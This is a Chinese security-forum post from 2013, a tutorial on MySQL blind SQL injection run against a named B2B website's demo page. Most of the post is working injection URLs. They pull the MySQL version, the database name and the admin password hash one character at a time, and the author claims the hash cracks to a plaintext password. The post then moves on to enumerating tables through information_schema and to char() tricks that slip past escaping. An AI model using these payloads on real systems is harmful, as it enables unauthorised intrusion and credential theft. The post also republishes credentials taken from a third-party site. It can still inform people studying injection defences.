找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2677|回复: 0
打印 上一主题 下一主题

MySQL盲注最全 实例讲解 详解

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-25 13:52:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。7 Q: Z3 c% Y1 e
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
8 }  i0 ^) g" d9 t4 d作者:YoCo Smart
/ f3 @( z' D2 ^来自:习科信息技术 - http://BlackBap.Org
# V0 ^% |" Z. E7 _3 I我们先来看注入点,是一个B2B网站建站公司:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
  • 用户名已被注册
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
  • select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
    # A" d' }; D- F+ d* _* s! V9 i1 g

! Y7 F8 L. r. \3 ]复制代码7 k; J* W- N4 f5 v
错误提示已经很明了了。我们看一下注入页面的代码(有删改):
  • $js_user = trim($_GET["js_user"]);
  • if($js_user){
  • $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
  • if(!$num)
  • echo "<div class=tips3></div>";
  • else
  • echo "<div class=tips2>用户名已被注册</div>";
  • }  _6 G' I6 `+ I7 w

% y  [! F/ v) w9 _5 i3 q  z复制代码
+ h5 h' R2 B& y- \: h+ |" i以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
2 }, r& c4 X: A; x9 N那么我们先从union的盲注来看吧。0 m1 W# i# h! T9 X
先看版本:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23; n$ A& g% T3 [: k. u: T7 o0 J

. K- h- V: I4 c* K# G复制代码
1 k% n7 g- u: E这个时候我们来看看原来的代码中的SQL语句是怎么执行的:
  • select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
    2 ?, u# a/ |8 U% p2 w, s
1 B( T+ k8 t7 ^- f* Z. i( m
复制代码
; U9 B5 U9 P# b" c' _0 @, q因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
1 q3 j; m" d' G) I. A5 h  @再来看database()的数据:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
  • database()长度6
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
  • l
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
  • li
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
  • lic
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
  • licl
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
  • licln
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
  • licclny/ Q& q- x& b! Q5 O/ |
' v4 g. z; [0 w$ R
复制代码
7 K" B* v6 W4 R( S0 l/ Xlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
0 a" D$ y& V; Q: _( z3 N" J这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
& ?0 p; {& `' n) O再来看一点简单的判断句:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
  • select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
    $ k) J; s! r* T6 C
0 i/ u( p. N8 S0 c
复制代码$ H' |6 d' j0 W* X: N. g7 _4 R1 E
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
" D4 \  U4 H+ q& g# x( s这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句2 ~# Y/ A4 e$ U: w$ {. O% r6 O2 i
那么这里就能得到:
  • 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
  • 长度是32,是md5加密,解密得到lcl2wly% g! L, k+ U8 J$ u" Q
2 \2 Z, B% L4 C0 S/ M- }
复制代码
7 J* h- t  {2 Z8 `. W5 A这样,猜数据的方法你肯定是懂了
$ p& c" l& z8 X7 F) y, J8 g3 F* ~( q+ k3 A: Y9 w
3 A4 A; H' d; x+ @1 j
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
    & [; p& ~  S3 Z' j7 z2 X3 |, B. h
9 `3 V% F$ G4 [1 s
复制代码
' X1 m+ V0 U4 l$ B! k+ ?/ n实际运行的SQL语句就是:
  • select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
    ; Z$ r" }# V9 [; S
* }8 c0 [! b8 d
复制代码
0 R9 L0 a8 `' Y  @上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。+ a  B, i! z/ J& E  N  X5 H
关于limit x,y 的用法,可以参考MySQL手册
0 z* s4 a3 N) Y! }$ g- Y- _2 l  c3 b: `: F: l
最后剩下的要说的就是ascii函数和hex函数了
! M' L4 z( E+ D, t, P这两个函数的意义是避开php的GPC转义,例如:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
  • select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
    & }; U6 p  V- \% |: i: {9 L

3 }& c8 R" J+ n$ R复制代码
& v# [+ [; R, E* S- k" ~substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表